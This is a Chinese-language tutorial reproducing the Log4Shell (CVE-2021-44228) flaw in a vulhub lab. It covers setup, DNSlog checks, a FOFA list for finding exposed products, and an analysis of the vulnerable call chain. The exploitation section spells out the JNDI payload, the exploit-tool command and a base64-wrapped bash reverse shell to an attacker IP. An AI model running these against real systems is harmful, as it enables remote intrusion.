一、漏洞说明
影响范围
Apache Log4j 2.x<=2.14.1
简介
Log4j2 是一个用于 Java 应用程序的成熟且功能强大的日志记录框架。它是 Log4j 的升级版本,相比于 Log4j,Log4j2 在性能、可靠性和灵活性方面都有显著的改进。
特点
Log4j2 是一个功能强大且灵活的日志记录框架,旨在提供高性能的日志记录解决方案。它被广泛用于各种 Java 应用程序和框架中,帮助开发人员更好地管理和分析应用程序的日志信息。
原理
攻击者构造payload,在JNDI接口lookup查询进行注入,payload为${jndi:ldap:恶意url/poc},JNDI会去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…本例为ldap)查找资源,由于lookup的出栈没做限制,最终指向了攻击者部署好的恶意站点,下载了远程的恶意class,最终造成了远程代码执行rce;
log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码);
攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。
二、环境搭建
这次复现的漏洞就是最经典的CVE-2021-44228
1、安装docker(含换源)
编辑软件源配置文件
将国内优质源加入其中,并将原有源进行注释,加完后按ESC、冒号、wq保存退出即可
apt-get update 更新索引
apt-get upgrade 更新软件
apt-get dist-upgrade 升级
apt-get clean 删除缓存包
apt-get autoclean 删除未安装的deb包
apt-get install docker.io
2、安装docker-compose
apt-get install docker-compose
3、安装vulhub镜像
git clone https://github.com/vulhub/vulhub.git
4、启动log4j环境(CVE-2021-44228)
cd /opt/vulhub-master/log4j/CVE-2021-44228
docker-compose up
即可启动
三、漏洞复现
利用DNSlog验证漏洞是否存在
靶场启动成功后
浏览器访问youkrm ip:port(默认端口:8983)进入站点
进入dnslog.cn
1、进入站点
2、获取域名
3、刷新记录
4、数据回显
进入靶场站点进行抓包
四、漏洞利用
指纹搜索
fofa.info
搜索如下关键字框架系统等
1. Apache Tomcat - Java Web 服务器
2. Apache Kafka - 分布式流处理平台
3. Apache ActiveMQ - 开源消息队列系统
4. Elasticsearch - 分布式搜索和分析引擎
5. Spring Framework - Java 开发框架
6. Hibernate ORM - 对象关系映射框架
7. Apache Camel - 企业集成模式框架
8. Apache Solr - 开源搜索平台
9. Apache Druid - 实时分析数据库
10. Apache NiFi - 数据流处理系统
11. Apache Flink - 分布式流处理框架
12. Apache Hadoop - 分布式计算框架
13. Apache Spark - 分布式大数据处理框架
14. Apache Storm - 实时流处理框架
15. Alfresco - 开源企业内容管理系统
16. Atlassian JIRA - 项目管理和缺陷追踪工具
17. Jenkins - 持续集成和交付平台
18. SonarQube - 代码质量管理平台
19. Liferay - 企业门户和内容管理系统
20. Graylog - 日志管理和分析平台
漏洞利用点
package log4j2Exploit;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class run {
private static final Logger logger = LogManager.getLogger(run.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:3890/test}");
}
}
JNDI是什么?
JNDI(Java Naming and Directory Interface)是Java平台提供的一个标准API,用于访问各种命名和目录服务。JNDI提供统一的客户端API,使得Java应用程序可以与命名服务和目录服务进行交互;
具体来说,JNDI提供了一种查找和访问各种命名和目录服务的通用、统一的方式,无论这些服务是本地的还是远程的。
LDAP是什么?
LDAP(轻型目录访问协议)是一种开放的、中立的、工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。它运行在TCP/IP堆栈之上,是一种目录服务协议。LDAP以树结构标识,不能像表格一样用SQL语句查询,它“读”性能很强,但“写”性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。
RMI是什么?
RMI(远程方法调用)是Java的一组支持开发分布式应用程序的API。RMI使用Java语言接口定义了远程对象,它集合了Java序列化和Java远程方法协议。
我选择使用JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
下载JNDI注入工具地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
利用工具JNDI-Injection-Exploit搭建服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "" -A (攻击机IP)
我们所要实施的命令为反弹shell
所以如下:
bash -i >& /dev/tcp/ip/port 0>&1
注意:这里的命令必须进行base64编码,不然是没法利用的
所以先将反弹shell的命令进行base64编码(利用bp自带的编解码工具)
然后在攻击机上再开始监听此端口
利用JNDI注入工具生成可用payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,Ymxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}" -A 192.168.xx.xxx
使用bp进行抓包,将工具生成的payload替换到语句中
替换payload ladp://192.168.xx.xx:1389/pakyuj
替换后并进行转换payload中的特殊字符为URL编码
编码完后并进行发包
发完之后,反弹shell可以看见已经监听成功,也可以看到我们的JNDI利用工具会有回显
五、利用链调用过程
利用链流程图
利用链流程
跟进logger.error()→logIfEnabled()→isEnabled()→filter() 中判断了当前调用的日志等级是否高于等于配置文件中配置的。(intLevel的值是日志等级越高,值就越小)
判断完成后回到logIfEnabled()
再进入logMessage()→...→tryLogMessage()→log()...->tryAppend()→directEncodeEvent()
直到directEncodeEvent()
函数之前,都是读取配置文件创建event事件等操作。this.getLayout()
获取配置文件里设置的输出格式,并调用encode()处理event。
紧接着调用了toText方法来用不同Converter处理传入的数据,并将结果存入buffer中。
这里解释一下这10个converter对象是干什么的:
如第一个DatePatternConverter
就是用来根据event对象中的%d{yyyy-MM-dd HH:mm:ss.SSS}
(也就是从配置文件中设置的) 转换成按照此格式的时间表示,并将值存在buffer中。所以同理,后面所有的converter就是按照配置文件中设置的输出格式转换为对应的值,并将结果添加到buffer中。
输入${jndi:ldap://127.0.0.1:3890/test}
对应的是%msg
,处理的converter是MessagePatternConverter
,也就是i=8,跟进它的format()。
首先通过event.getMessage()
获取到Message对象。再重新创建一个StringBuilder对象workingBuilder
,将之前coverter格式化好的部分赋值给workingBuilder
,并添加msg对应的字符串给此对象;
然后从之前coverter格式化好的字符串末尾开始,遍历之后的workingBuilder
字符串,直到找到${
起始的位置。找到后将${
到整个字符串末尾的值复制给value,并将workingBuilder
的长度设置为之前未拼接msg的长度,并重新添加this.config.getStrSubstitutor().replace(event, value)
的值到workingBuilder
;
这段操作意思: 如果msg中存在${
字符串,取出msg值后,就将整个msg字符串从workingBuilder
中替换掉;
然后跟入replace函数。
这里主要是对传入的msg字符串进行处理,循环查找以${
字符串开头和以}
字符串结束的位置,获取两者之间字符串,即jndi:ldap://127.0.0.1:3890/test
。(同时还会递归判断这个字符串中是否还有${
与}
)
最后进入resolveVariable()
方法。支持的Interpolator类型。
通过 var.indexOf(58)获取:
号的索引位置,得到Interpolator前缀。再根据对应的前缀调用lookup方法。
进入到log4j的JndiLookup类的lookup方法中,通过jndi调用lookup
lookup():
lookup函数用于根据名称查找资源。例如,你可以使用JNDI来查找和访问数据库、消息队列或其他资源。通过使用JNDI,你可以把资源的名字和在哪里找到它们的详细信息告诉JNDI,然后使用lookup函数来查找和访问这些资源
六、参考文章
https://blog.csdn.net/qq_41132792/article/details/124952616
https://blog.csdn.net/fingue/article/details/127096363
https://blog.csdn.net/weixin_47179815/article/details/125654828\
https://myzxcg.com/2022/01/Log4j2-%E5%88%A9%E7%94%A8%E9%93%BE%E4%B8%8EWaf%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90/
https://cloud.tencent.com/developer/article/1922132
https://www.freebuf.com/vuls/382838.html
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)